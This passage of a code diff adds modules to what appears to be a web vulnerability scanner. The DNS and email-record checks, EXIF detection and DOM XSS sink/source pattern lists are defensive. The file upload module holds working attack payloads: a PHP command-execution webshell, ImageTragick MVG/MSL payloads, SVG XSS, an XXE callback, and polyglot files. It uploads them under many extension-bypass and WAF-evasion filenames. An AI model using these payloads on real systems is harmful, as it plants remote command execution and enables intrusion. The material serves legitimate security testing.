+                        self.log("WARNING", f"[DNS Security] MX record points to IP: {mx}")
+                        self.add_vuln(
+                            title="MX Record Points to IP Address",
+                            severity="Low", category="DNS Security", cvss_score=3.1,
+                            description=f"MX record for {self.domain} points to IP address {mx} instead of a hostname. This is not a best practice.",
+                            remediation="Update MX records to point to hostnames instead of IP addresses."
+                        )
+            else:
+                self.log("INFO", "[DNS Security] No MX records found.")
+                
+        except dns.resolver.NoAnswer:
+            self.log("INFO", "[DNS Security] No MX records found.")
+        except Exception as e:
+            self.log("WARNING", f"[DNS Security] MX check failed: {e}")
+
+    def _check_spf(self):
+        """Check for SPF record."""
+        self.log("INFO", "[DNS Security] Checking SPF record...")
+        
+        try:
+            txt_answers = dns.resolver.resolve(self.domain, 'TXT')
+            spf_found = False
+            
+            for rdata in txt_answers:
+                txt = rdata.to_text()
+                if 'v=spf1' in txt:
+                    spf_found = True
+                    self.log("SUCCESS", f"[DNS Security] SPF Record: {txt[:100]}")
+                    
+                    # Check for ~all vs -all
+                    if '~all' in txt:
+                        self.log("WARNING", "[DNS Security] SPF uses ~all (soft fail)")
+                        self.add_vuln(
+                            title="SPF Uses Soft Fail (~all)",
+                            severity="Low", category="DNS Security", cvss_score=3.1,
+                            description=f"SPF record for {self.domain} uses ~all (soft fail) instead of -all (hard fail). This may allow some spoofed emails to pass.",
+                            remediation="Consider changing ~all to -all in your SPF record for stricter email validation."
+                        )
+                    break
+            
+            if not spf_found:
+                self.log("WARNING", "[DNS Security] No SPF record found.")
+                self.add_vuln(
+                    title="SPF Record Missing",
+                    severity="Medium", category="DNS Security", cvss_score=5.3,
+                    description=f"No SPF (Sender Policy Framework) record found for {self.domain}. This allows email spoofing and increases spam risk.",
+                    remediation="Add an SPF record to your DNS:\n  Example: v=spf1 ip4:192.0.2.0/24 -all\n  Use SPF record generator tools for proper configuration."
+                )
+                
+        except dns.resolver.NoAnswer:
+            self.log("WARNING", "[DNS Security] No TXT records found (SPF missing).")
+            self.add_vuln(
+                title="SPF Record Missing",
+                severity="Medium", category="DNS Security", cvss_score=5.3,
+                description=f"No SPF record found for {self.domain}.",
+                remediation="Add an SPF record to your DNS configuration."
+            )
+        except Exception as e:
+            self.log("WARNING", f"[DNS Security] SPF check failed: {e}")
+
+    def _check_dmarc(self):
+        """Check for DMARC record."""
+        self.log("INFO", "[DNS Security] Checking DMARC record...")
+        
+        dmarc_domain = f"_dmarc.{self.domain}"
+        
+        try:
+            txt_answers = dns.resolver.resolve(dmarc_domain, 'TXT')
+            dmarc_found = False
+            
+            for rdata in txt_answers:
+                txt = rdata.to_text()
+                if 'v=DMARC1' in txt:
+                    dmarc_found = True
+                    self.log("SUCCESS", f"[DNS Security] DMARC Record: {txt[:100]}")
+                    
+                    # Check for p=none (monitoring only)
+                    if 'p=none' in txt:
+                        self.log("WARNING", "[DNS Security] DMARC policy is p=none (monitoring only)")
+                        self.add_vuln(
+                            title="DMARC Policy Set to None",
+                            severity="Low", category="DNS Security", cvss_score=3.1,
+                            description=f"DMARC record for {self.domain} has policy p=none, which means no action is taken on failed SPF/DKIM. This is only suitable for monitoring.",
+                            remediation="Update DMARC policy to p=quarantine or p=reject for better email security:\n  v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com"
+                        )
+                    break
+            
+            if not dmarc_found:
+                self.log("WARNING", "[DNS Security] No DMARC record found.")
+                self.add_vuln(
+                    title="DMARC Record Missing",
+                    severity="Medium", category="DNS Security", cvss_score=5.3,
+                    description=f"No DMARC (Domain-based Message Authentication, Reporting & Conformance) record found for {self.domain}. DMARC helps prevent email spoofing.",
+                    remediation="Add a DMARC record to your DNS:\n  Example: v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com\n  Start with p=none for monitoring, then move to p=quarantine or p=reject."
+                )
+                
+        except dns.resolver.NoAnswer:
+            self.log("WARNING", "[DNS Security] No DMARC record found.")
+            self.add_vuln(
+                title="DMARC Record Missing",
+                severity="Medium", category="DNS Security", cvss_score=5.3,
+                description=f"No DMARC record found for {self.domain}.",
+                remediation="Add a DMARC record to your DNS configuration."
+            )
+        except dns.resolver.NXDOMAIN:
+            self.log("WARNING", "[DNS Security] DMARC subdomain does not exist.")
+        except Exception as e:
+            self.log("WARNING", f"[DNS Security] DMARC check failed: {e}")
+
+    def _check_wildcard_dns(self):
+        """Check for wildcard DNS records."""
+        self.log("INFO", "[DNS Security] Checking for wildcard DNS...")
+        
+        random_subdomain = f"random-nonexistent-{hash(self.domain) % 10000}.{self.domain}"
+        
+        try:
+            dns.resolver.resolve(random_subdomain, 'A')
+            self.log("WARNING", "[DNS Security] Wildcard DNS record detected.")
+            self.add_vuln(
+                title="Wildcard DNS Record Detected",
+                severity="Low", category="DNS Security", cvss_score=3.1,
+                description=f"Wildcard DNS record detected for {self.domain}. This can lead to subdomain takeover vulnerabilities if not properly managed.",
+                remediation="Review wildcard DNS usage. Ensure all subdomains are properly claimed and monitored. Consider removing wildcard if not necessary."
+            )
+        except dns.resolver.NXDOMAIN:
+            self.log("SUCCESS", "[DNS Security] No wildcard DNS detected.")
+        except Exception as e:
+            self.log("WARNING", f"[DNS Security] Wildcard check failed: {e}")
+
+    def _check_dns_cache_poisoning(self):
+        """Check for DNS cache poisoning vulnerabilities."""
+        self.log("INFO", "[DNS Security] Checking DNS cache poisoning risks...")
+        
+        try:
+            # Check for random source ports (good practice)
+            # This is a heuristic check - we can't directly test this without more complex probing
+            self.log("INFO", "[DNS Security] Ensure DNS resolver uses random source ports and transaction IDs.")
+            
+            # Check for DNSSEC (already done in _check_dnssec)
+            # This is informational
+            self.log("INFO", "[DNS Security] DNS cache poisoning protection relies on DNSSEC implementation.")
+            
+        except Exception as e:
+            self.log("WARNING", f"[DNS Security] Cache poisoning check failed: {e}")
+
+    def _check_caa_records(self):
+        """Check for CAA (Certification Authority Authorization) records."""
+        self.log("INFO", "[DNS Security] Checking CAA records...")
+        
+        try:
+            caa_answers = dns.resolver.resolve(self.domain, 'CAA')
+            caa_records = []
+            
+            for rdata in caa_answers:
+                caa_records.append(f"{rdata.flags} {rdata.tag} {rdata.value}")
+            
+            if caa_records:
+                self.log("SUCCESS", f"[DNS Security] CAA Records: {', '.join(caa_records)}")
+            else:
+                self.log("INFO", "[DNS Security] No CAA records found (informational).")
+                self.add_vuln(
+                    title="CAA Record Not Configured",
+                    severity="Low", category="DNS Security", cvss_score=2.1,
+                    description=f"No CAA (Certification Authority Authorization) record found for {self.domain}. CAA records specify which CAs are allowed to issue certificates for the domain.",
+                    remediation="Consider adding CAA records to restrict which certificate authorities can issue certificates:\n  Example: issue ca.example.com; issuewild ca.example.com"
+                )
+                
+        except dns.resolver.NoAnswer:
+            self.log("INFO", "[DNS Security] No CAA records found.")
+        except Exception as e:
+            self.log("WARNING", f"[DNS Security] CAA check failed: {e}")

backend/scanners/dom_xss_scanner.py

@@ -0,0 +1,157 @@
+"""
+dom_xss_scanner.py — DOM XSS Static Analysis Scanner
+======================================================
+Fetches JavaScript files and performs static sink/source analysis to detect
+DOM-based XSS patterns that are never visible to the server.
+"""
+import re
+from scanners.base_scanner import BaseScanner
+
+SINKS = [
+    "document.write", "document.writeln", "innerHTML", "outerHTML",
+    "insertAdjacentHTML", "eval(", "setTimeout(", "setInterval(",
+    "location.href", "location.replace", "location.assign",
+    "document.location", "window.location", "src=", "href=",
+    "importScripts(", "Function(", "Range.createContextualFragment",
+    "script.text", "script.textContent", "srcdoc=", "DOMParser",
+    "execScript(", "msWriteProfilerMark", "setImmediate(",
+    "createHTMLDocument", "location.hash=",
+]
+
+SOURCES = [
+    "location.hash", "location.search", "location.href",
+    "document.URL", "document.referrer", "document.cookie",
+    "window.name", "localStorage", "sessionStorage",
+    "URLSearchParams", "decodeURIComponent", "unescape(",
+    "postMessage(", "MessageChannel", "history.pushState",
+    "history.replaceState", "document.documentURI",
+    "performance.getEntries", "fetch(", "XMLHttpRequest",
+]
+
+
+class DomXssScanner(BaseScanner):
+    SCANNER_NAME = "DOM XSS Static Analysis Scanner"
+    _SCANNER_KEY = "dom_xss"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[DomXSS] Performing static JS AST analysis on {self.target}...")
+        html, status = self._make_request(self.target)
+        if html is None:
+            self.log("WARNING", f"[DomXSS] Error fetching page")
+            return self.vulns
+
+        scripts = re.findall(r'src=["\']([^"\']+\.js)["\']', html, re.I)
+        inline_scripts = re.findall(r'<script[^>]*>(.*?)</script>', html, re.I | re.S)
+
+        all_js = []
+        for src in scripts[:12]:
+            js = self._fetch_js(self._resolve(src))
+            if js:
+                all_js.append((self._resolve(src), js))
+
+        for idx, block in enumerate(inline_scripts):
+            if block.strip():
+                all_js.append((f"inline#{idx+1}", block))
+
+        found_flows = []
+        for js_name, js_code in all_js:
+            flows = self._find_flows(js_name, js_code)
+            found_flows.extend(flows)
+
+        taint_flows = self._find_taint_flows(all_js)
+        found_flows.extend(taint_flows)
+
+        if found_flows:
+            examples = found_flows[:5]
+            self.add_vuln(
+                title=f"DOM XSS Sink/Source Flows Detected ({len(found_flows)} pattern(s))",
+                severity="High",
+                category="DOM XSS",
+                cvss_score=7.4,
+                description="Static analysis identified dangerous source\u2192sink data flows in client-side JavaScript:\n\n" +
+                    "\n".join(f"- **{f['file']}**: `{f['source']}` \u2192 `{f['sink']}`\n  `{f['snippet']}`" for f in examples),
+                remediation="1. Never pass untrusted sources (location.hash, URL params) directly to sinks.\n"
+                    "2. Use textContent instead of innerHTML.\n"
+                    "3. Sanitize with DOMPurify before any DOM insertion.\n"
+                    "4. Use a strict Content Security Policy to block inline scripts.",
+                evidence="\n".join(f"{f['file']}: {f['snippet']}" for f in examples),
+                confidence="High",
+            )
+        else:
+            self.log("SUCCESS", "[DomXSS] No obvious DOM XSS flows detected.")
+        return self.vulns
+
+    def _find_flows(self, js_name, code):
+        flows = []
+        lines = code.split("\n")
+        for i, line in enumerate(lines):
+            has_source = any(src in line for src in SOURCES)
+            has_sink = any(sink in line for sink in SINKS)
+            if has_source and has_sink:
+                src_matches = [s for s in SOURCES if s in line]
+                sink_matches = [s for s in SINKS if s in line]
+                flows.append({
+                    "file": js_name,
+                    "source": src_matches[0],
+                    "sink": sink_matches[0],
+                    "snippet": line.strip()[:120],
+                })
+            elif has_source and i + 1 < len(lines):
+                next_line = lines[i + 1]
+                if any(sink in next_line for sink in SINKS):
+                    flows.append({
+                        "file": js_name,
+                        "source": [s for s in SOURCES if s in line][0],
+                        "sink": [s for s in SINKS if s in next_line][0],
+                        "snippet": (line.strip() + " \u2192 " + next_line.strip())[:120],
+                    })
+        return flows
+
+    def _find_taint_flows(self, all_js):
+        taint_flows = []
+        for js_name, js_code in all_js:
+            lines = js_code.split("\n")
+            for i, line in enumerate(lines):
+                for src in SOURCES:
+                    if src not in line:
+                        continue
+                    m = re.search(r'(?:var|let|const)\s+(\w+)\s*=\s*', line)
+                    if not m:
+                        m = re.search(r'(\w+)\s*=\s*', line)
+                    if not m:
+                        continue
+                    var_name = m.group(1)
+                    for j in range(i + 1, min(i + 10, len(lines))):
+                        later_line = lines[j]
+                        if var_name in later_line:
+                            for sink in SINKS:
+                                if sink in later_line:
+                                    taint_flows.append({
+                                        "file": js_name,
+                                        "source": src,
+                                        "sink": sink,
+                                        "snippet": f"{line.strip()} ... {later_line.strip()}"[:120],
+                                    })
+                                    break
+        return taint_flows
+
+    def _resolve(self, src):
+        from urllib.parse import urlparse
+        if src.startswith("//"):
+            return f"https:{src}"
+        if src.startswith("/"):
+            p = urlparse(self.target)
+            return f"{p.scheme}://{p.netloc}{src}"
+        if not src.startswith("http"):
+            return f"{self.target.rstrip('/')}/{src}"
+        return src
+
+    def _fetch_js(self, url):
+        body, status = self._make_request(url, timeout=5)
+        if body is None:
+            self.log("ERROR", f"[DomXSS] _fetch_js error for {url}")
+            return ""
+        return body

backend/scanners/email_security_scanner.py

@@ -0,0 +1,90 @@
+"""
+email_security_scanner.py — Email Security (SPF/DKIM/DMARC) Scanner
+"""
+import re, ssl, socket
+from scanners.base_scanner import BaseScanner
+
+try:
+    import dns.resolver as dns_resolver
+except ImportError:
+    dns_resolver = None
+
+class EmailSecurityScanner(BaseScanner):
+    SCANNER_NAME = "Email Security Scanner"
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[EmailSec] Auditing SPF/DKIM/DMARC for {self.domain}...")
+        if not dns_resolver:
+            self.log("WARNING", "[EmailSec] dnspython not installed. Skipping.")
+            return self.vulns
+        self._check_spf()
+        self._check_dmarc()
+        self._check_dkim()
+        if not self.vulns:
+            self.log("SUCCESS", "[EmailSec] Email security records look good.")
+        return self.vulns
+
+    def _resolve(self, name, rtype):
+        try:
+            return [str(r) for r in dns_resolver.resolve(name, rtype)]
+        except Exception:
+            return []
+
+    def _check_spf(self):
+        txts = self._resolve(self.domain, "TXT")
+        spf = [t for t in txts if "v=spf1" in t.lower()]
+        if not spf:
+            self.add_vuln(title="Missing SPF Record", severity="Medium",
+                category="Email Security", cvss_score=5.3,
+                description=f"No SPF record found for `{self.domain}`. Without SPF, anyone can "
+                    "send emails appearing to be from your domain (email spoofing).",
+                remediation="Add a TXT record: v=spf1 include:_spf.google.com ~all")
+        else:
+            record = spf[0]
+            if "+all" in record:
+                self.add_vuln(title="SPF Record Uses +all (Permits All Senders)", severity="High",
+                    category="Email Security", cvss_score=7.4,
+                    description=f"SPF record `{record}` uses `+all`, allowing any server to send "
+                        "email on behalf of this domain.",
+                    remediation="Change +all to ~all (softfail) or -all (hardfail).")
+            elif "~all" not in record and "-all" not in record:
+                self.add_vuln(title="SPF Record Missing Fail Mechanism", severity="Low",
+                    category="Email Security", cvss_score=3.5,
+                    description=f"SPF: `{record}` lacks ~all or -all enforcement.",
+                    remediation="Append -all to enforce strict SPF.")
+
+    def _check_dmarc(self):
+        txts = self._resolve(f"_dmarc.{self.domain}", "TXT")
+        dmarc = [t for t in txts if "v=dmarc1" in t.lower()]
+        if not dmarc:
+            self.add_vuln(title="Missing DMARC Record", severity="Medium",
+                category="Email Security", cvss_score=5.3,
+                description=f"No DMARC record at `_dmarc.{self.domain}`. DMARC tells receiving "
+                    "servers how to handle SPF/DKIM failures.",
+                remediation="Add: _dmarc.yourdomain.com TXT \"v=DMARC1; p=reject; rua=mailto:dmarc@yourdomain.com\"")
+        else:
+            record = dmarc[0]
+            if "p=none" in record.lower():
+                self.add_vuln(title="DMARC Policy Set to 'none' (No Enforcement)", severity="Medium",
+                    category="Email Security", cvss_score=5.3,
+                    description=f"DMARC: `{record}` — policy `p=none` only monitors; it does not "
+                        "reject or quarantine spoofed emails.",
+                    remediation="Upgrade to p=quarantine or p=reject after monitoring period.")
+
+    def _check_dkim(self):
+        selectors = ["default", "google", "selector1", "selector2", "k1", "mail", "dkim"]
+        found = False
+        for sel in selectors:
+            txts = self._resolve(f"{sel}._domainkey.{self.domain}", "TXT")
+            if any("v=dkim1" in t.lower() or "p=" in t for t in txts):
+                found = True
+                self.log("SUCCESS", f"[EmailSec] DKIM record found: {sel}._domainkey.{self.domain}")
+                break
+        if not found:
+            self.add_vuln(title="No DKIM Record Found (Common Selectors)", severity="Low",
+                category="Email Security", cvss_score=3.5,
+                description=f"No DKIM record found for common selectors on `{self.domain}`. "
+                    "DKIM cryptographically signs emails to prevent tampering.",
+                remediation="Configure DKIM signing on your email server and publish the public key.")

backend/scanners/exif_scanner.py

@@ -0,0 +1,63 @@
+"""
+exif_scanner.py — EXIF Metadata Leak Scanner
+"""
+import re, struct, urllib.request
+from scanners.base_scanner import BaseScanner
+
+class ExifScanner(BaseScanner):
+    SCANNER_NAME = "EXIF Metadata Leak Scanner"
+    _SCANNER_KEY = "exif"
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[EXIF] Scanning images for EXIF metadata leaks on {self.target}...")
+        try:
+            req = urllib.request.Request(self.target, headers=self._make_headers())
+            with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
+                html = r.read().decode("utf-8", errors="ignore")
+        except Exception as e:
+            self.log("WARNING", f"[EXIF] Error: {e}"); return self.vulns
+
+        imgs = re.findall(r'(?:src|href)=["\']([^"\']+\.(?:jpg|jpeg|png|tiff|webp))["\']', html, re.I)
+        leaky = []
+        for img_src in set(imgs[:10]):
+            url = self._resolve(img_src)
+            if self._has_exif(url):
+                leaky.append(url)
+
+        if leaky:
+            self.add_vuln(
+                title=f"EXIF Metadata Exposed in {len(leaky)} Image(s)",
+                severity="Low", category="Information Disclosure", cvss_score=3.5,
+                description=f"Images with EXIF data (GPS, camera model, software):\n\n" +
+                    "\n".join(f"- `{u}`" for u in leaky[:5]) +
+                    "\n\nEXIF data can expose physical locations, device info, and timestamps.",
+                remediation="Strip EXIF metadata before serving images. Use tools like "
+                    "`exiftool -all= image.jpg` or server-side libraries (Pillow, Sharp).")
+        else:
+            self.log("SUCCESS", "[EXIF] No EXIF metadata leaks detected.")
+        return self.vulns
+
+    def _has_exif(self, url):
+        try:
+            req = urllib.request.Request(url, headers=self._make_headers())
+            with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
+                header = r.read(12)
+                # JPEG with EXIF: starts with FF D8 FF E1
+                if header[:4] == b'\xff\xd8\xff\xe1':
+                    return True
+                # TIFF header (also used in EXIF)
+                if header[:2] in (b'II', b'MM') and header[2:4] in (b'\x2a\x00', b'\x00\x2a'):
+                    return True
+        except Exception as e:
+            self.log("ERROR", f"[EXIF] _has_exif error: {e}")
+        return False
+
+    def _resolve(self, src):
+        if src.startswith("//"): return f"https:{src}"
+        if src.startswith("/"):
+            from urllib.parse import urlparse; p = urlparse(self.target)
+            return f"{p.scheme}://{p.netloc}{src}"
+        if not src.startswith("http"): return f"{self.target.rstrip('/')}/{src}"
+        return src

backend/scanners/file_upload_scanner.py

@@ -0,0 +1,442 @@
+"""
+file_upload_scanner.py — Advanced Insecure File Upload Scanner
+===============================================================
+Comprehensive file upload security testing:
+  1. Discovers all file upload endpoints on the page
+  2. MIME type bypass — sends PHP shell disguised as image
+  3. Double extension bypass — shell.php.jpg
+  4. SVG XSS — <svg onload=alert(1)> 
+  5. Polyglot JPEG+PHP — valid JPEG header prepended to PHP code
+  6. Null byte bypass — shell.php%00.jpg
+  7. Zip Slip — zip containing ../../../path traversal entry
+  8. ImageTragick (CVE-2016-3714) — MVG/MSL push delegate injection
+  9. Path traversal via filename — Content-Disposition: filename="../shell.php"
+ 10. Dangerous extension tests (.pht, .phtml, .php5, .shtml, .asp, .aspx, .jsp, .war)
+ 11. Content-type bypass tests (text/plain -> application/x-php)
+ 12. Magic byte signature validation tests
+ 13. Double extension variations
+"""
+import re, io, struct, zipfile, urllib.request, urllib.error, urllib.parse
+from scanners.base_scanner import BaseScanner
+from utils.evasion import waf_evade
+from utils.callback import build_callback_url
+
+# Real JPEG SOI magic bytes + EXIF header stub
+JPEG_MAGIC = (
+    b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
+    b"\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t"
+    b"\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a"
+    b"\x1f\x1e\x1d\x1a\x1c\x1c $.' \",#\x1c\x1c(7),01444\x1f'9=82<.342\x1e\xff\xd9"
+)
+
+# PNG magic bytes
+PNG_MAGIC = b"\x89PNG\r\n\x1a\n"
+
+# GIF magic bytes
+GIF_MAGIC = b"GIF89a"
+
+# PDF magic bytes
+PDF_MAGIC = b"%PDF-1.4\n1 0 obj\n<</Type/Catalog/Pages 2 0 R>>\nendobj\n2 0 obj\n<</Type/Pages/Kids[3 0 R]/Count 1>>\nendobj\n3 0 obj\n<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>\nendobj\nxref\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n190\n%%EOF\n"
+
+# PHP webshell payload (minimal)
+PHP_SHELL = b"<?php echo 'WSS-UPLOAD-PROBE'; system($_GET['c']); ?>"
+
+# Minimal ASP shell
+ASP_SHELL = b'<% Response.Write("WSS-UPLOAD-PROBE") %>'
+
+# Minimal JSP shell
+JSP_SHELL = b'<%= "WSS-UPLOAD-PROBE" %>'
+
+# ImageTragick MVG payload (CVE-2016-3714)
+IMAGETRAGICK_MVG = b"""push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://127.0.0.1/"|echo WSS-IMAGETRAGICK > /tmp/wss-probe")'
+pop graphic-context"""
+
+# ImageTragick MSL payload
+IMAGETRAGICK_MSL = b"""<?xml version="1.0" encoding="UTF-8"?>
+<image>
+<read filename="caption:&lt;?php echo 'WSS-IMAGETRAGICK'; ?&gt;"/>
+<write filename="shell.php"/>
+</image>"""
+
+# XSS probe
+SVG_XSS_PAYLOAD = b"""<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('WSS-SVG-XSS')">
+  <script>document.write('<img src=x onerror=alert(\"WSS-SVG-XSS\")>')</script>
+  <text x="10" y="20">WSS-UPLOAD-PROBE</text>
+</svg>"""
+
+SVG_XXE_CALLBACK = """<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [
+  <!ENTITY xxe SYSTEM "{callback}">
+]>
+<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
+  <text x="10" y="20">&xxe;</text>
+</svg>"""
+
+PDF_PHP_POLYGLOT = PDF_MAGIC + b"\n%%PDF-PHP-POLYGLOT\n" + PHP_SHELL + b"\n%%EOF"
+
+PROBE_MARKER = "WSS-UPLOAD-PROBE"
+UPLOAD_RESPONSE_MARKERS = [
+    "WSS-UPLOAD-PROBE", "shell.php", "successfully uploaded",
+    "upload complete", "file uploaded",
+]
+
+
+class FileUploadScanner(BaseScanner):
+    SCANNER_NAME = "Insecure File Upload Scanner"
+    _SCANNER_KEY = "file_upload"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[FileUpload] Scanning for insecure file upload forms on {self.target}...")
+        html, status = self._make_request(self.target)
+        if not html:
+            self.log("ERROR", "[FileUpload] Failed to fetch page")
+            return self.vulns
+
+        forms = self._find_upload_forms(html)
+        if not forms:
+            self.log("SUCCESS", "[FileUpload] No file upload forms detected.")
+            return self.vulns
+
+        self.log("WARNING", f"[FileUpload] Found {len(forms)} upload form(s) — probing security controls...")
+
+        for form in forms[:3]:
+            action = self._resolve_action(form.get("action", ""))
+            self.log("INFO", f"[FileUpload] Testing: {action}")
+            self._test_form(form, action)
+
+        if not self.vulns:
+            self.add_vuln(
+                title="File Upload Endpoint Discovered",
+                severity="Low",
+                category="Attack Surface",
+                cvss_score=0.0,
+                description=f"File upload form(s) found on `{self.target}`. "
+                    "Security controls appear active but manual testing recommended.",
+                remediation="Validate magic bytes, not just extension or Content-Type. "
+                    "Rename uploads to random UUIDs. Store outside webroot.",
+                cwe_ids=["CWE-434"],
+                owasp_category="A04:2021 – Insecure Design",
+            )
+        return self.vulns
+
+    def _find_upload_forms(self, html):
+        forms = []
+        for form_html in re.findall(r'<form[^>]*>.*?</form>', html, re.S | re.I):
+            if 'type="file"' not in form_html.lower() and "type='file'" not in form_html.lower():
+                continue
+            action = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
+            method = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I)
+            enctype = re.search(r'enctype=["\']([^"\']*)["\']', form_html, re.I)
+            fields = []
+            for inp in re.findall(r'<input[^>]*>', form_html, re.I):
+                name_m = re.search(r'name=["\']([^"\']+)["\']', inp, re.I)
+                type_m = re.search(r'type=["\']([^"\']+)["\']', inp, re.I)
+                val_m  = re.search(r'value=["\']([^"\']*)["\']', inp, re.I)
+                if name_m:
+                    fields.append({
+                        "name":  name_m.group(1),
+                        "type":  type_m.group(1).lower() if type_m else "text",
+                        "value": val_m.group(1) if val_m else "",
+                    })
+            forms.append({
+                "action":  action.group(1) if action else "",
+                "method":  (method.group(1) if method else "POST").upper(),
+                "enctype": enctype.group(1) if enctype else "multipart/form-data",
+                "fields":  fields,
+            })
+        return forms
+
+    def _resolve_action(self, action):
+        if not action: return self.target
+        if action.startswith("http"): return action
+        if action.startswith("/"):
+            p = urllib.parse.urlparse(self.target)
+            return f"{p.scheme}://{p.netloc}{action}"
+        return f"{self.target.rstrip('/')}/{action}"
+
+    def _test_form(self, form, action):
+        hidden = {f["name"]: f["value"] for f in form["fields"] if f["type"] == "hidden"}
+
+        cwe = ["CWE-434"]
+        owasp = "A04:2021 – Insecure Design"
+
+        tests = [
+            ("MIME Bypass (PHP as image/jpeg)",      self._make_php_as_jpeg,      "shell.php", "image/jpeg", PHP_SHELL),
+            ("Double Extension (shell.php.jpg)",      self._make_php_payload,      "shell.php.jpg", "image/jpeg", PHP_SHELL),
+            ("Null Byte Bypass (shell.php%00.jpg)",   self._make_php_payload,      "shell.php\x00.jpg", "image/jpeg", PHP_SHELL),
+            ("SVG XSS Upload",                        self._make_svg_xss,          "test.svg", "image/svg+xml", SVG_XSS_PAYLOAD),
+            ("Polyglot JPEG+PHP",                     self._make_polyglot,         "image.php", "image/jpeg", PHP_SHELL),
+            ("Polyglot PDF+PHP",                      self._make_pdf_polyglot,     "image.php", "application/pdf", None),
+            ("ImageTragick MVG (CVE-2016-3714)",      self._make_imagetragick_mvg, "exploit.mvg", "image/x-xcf", IMAGETRAGICK_MVG),
+            ("ImageTragick MSL",                      self._make_imagetragick_msl, "exploit.msl", "application/xml", IMAGETRAGICK_MSL),
+            ("Zip Slip",                              self._make_zip_slip,         "archive.zip", "application/zip", None),
+            ("Path Traversal Filename",               self._make_php_payload,      "../../../shell.php", "image/jpeg", PHP_SHELL),
+            ("PHP Extension .pht",                    self._make_php_payload,      "shell.pht", "image/jpeg", PHP_SHELL),
+            ("PHP Extension .phtml",                  self._make_php_payload,      "shell.phtml", "image/jpeg", PHP_SHELL),
+            ("PHP Extension .php5",                   self._make_php_payload,      "shell.php5", "image/jpeg", PHP_SHELL),
+            ("PHP Extension .php7",                   self._make_php_payload,      "shell.php7", "image/jpeg", PHP_SHELL),
+            ("PHP Extension .shtml",                  self._make_ssi_payload,      "test.shtml", "text/html", None),
+            ("ASP Shell .asp",                        self._make_asp_payload,      "shell.asp", "text/plain", ASP_SHELL),
+            ("ASPX Shell .aspx",                      self._make_asp_payload,      "shell.aspx", "text/plain", ASP_SHELL),
+            ("JSP Shell .jsp",                        self._make_jsp_payload,      "shell.jsp", "text/plain", JSP_SHELL),
+            ("Java WAR upload",                       self._make_war_payload,      "shell.war", "application/zip", None),
+            ("Content-Type Bypass (text/plain->PHP)", self._make_php_payload,      "shell.php", "text/plain", PHP_SHELL),
+            ("Content-Type Bypass (image/gif->PHP)",  self._make_php_payload,      "shell.php", "image/gif", PHP_SHELL),
+            ("Content-Type Bypass (application/pdf->PHP)", self._make_php_payload, "shell.php", "application/pdf", PHP_SHELL),
+            ("Magic Byte PNG + PHP payload",          self._make_png_payload,      "shell.png.php", "image/png", None),
+            ("Magic Byte GIF + PHP payload",          self._make_gif_payload,      "shell.gif.php", "image/gif", None),
+            ("Double Extension .php.jpg",             self._make_php_payload,      "shell.php.jpg", "image/jpeg", PHP_SHELL),
+            ("Double Extension .php;.jpg",            self._make_php_payload,      "shell.php;.jpg", "image/jpeg", PHP_SHELL),
+            ("Double Extension .php.jpg.php",         self._make_php_payload,      "shell.php.jpg.php", "image/jpeg", PHP_SHELL),
+            ("Double Extension .php.php.jpg",         self._make_php_payload,      "shell.php.php.jpg", "image/jpeg", PHP_SHELL),
+            ("Double Extension .phtml.jpg",           self._make_php_payload,      "shell.phtml.jpg", "image/jpeg", PHP_SHELL),
+            ("Double Extension .php%00.gif",          self._make_php_payload,      "shell.php%00.gif", "image/gif", PHP_SHELL),
+        ]
+
+        for test_name, payload_fn, filename, content_type, _ in tests:
+            filename_variants = [("plain", filename)]
+            for enc_name, enc_fn in [("waf_evade", lambda f: [("plain", f)] + [(f"waf_{n}", p) for n, p in waf_evade(f)])]:
+                if enc_name == "waf_evade":
+                    filename_variants = enc_fn(filename)
+            for variant_label, variant_filename in filename_variants:
+                try:
+                    data = payload_fn()
+                    body, status = self._multipart_upload(action, "file", variant_filename, data, content_type, hidden)
+                except Exception as e:
+                    self.log("ERROR", f"[FileUpload] Upload test error: {e}")
+                    body, status = None, 0
+                if body is None:
+                    continue
+                if self._check_success(body, status, variant_filename):
+                    label_suffix = f" ({variant_label})" if variant_label != "plain" else ""
+                    combined_name = f"{test_name}{label_suffix}"
+                    self.add_vuln(
+                        title=f"File Upload Bypass — {combined_name}",
+                        severity=self._severity_for(test_name),
+                        category="Insecure File Upload",
+                        cvss_score=self._cvss_for(test_name),
+                        confidence="High",
+                        description=f"Upload to `{action}` accepted `{variant_filename}` via **{combined_name}**.\n\n"
+                            f"HTTP {status} with {len(body)} bytes response. "
+                            f"Server accepted potentially dangerous content without proper validation.",
+                        remediation=self._remediation_for(test_name),
+                        payload=f"{variant_filename} ({content_type})",
+                        evidence=f"Upload accepted with status {status}",
+                        request_details=f"POST {action} multipart/form-data field=file filename={variant_filename}",
+                        response_details=f"HTTP {status}, body: {body[:200]}",
+                        cwe_ids=cwe,
+                        owasp_category=owasp,
+                    )
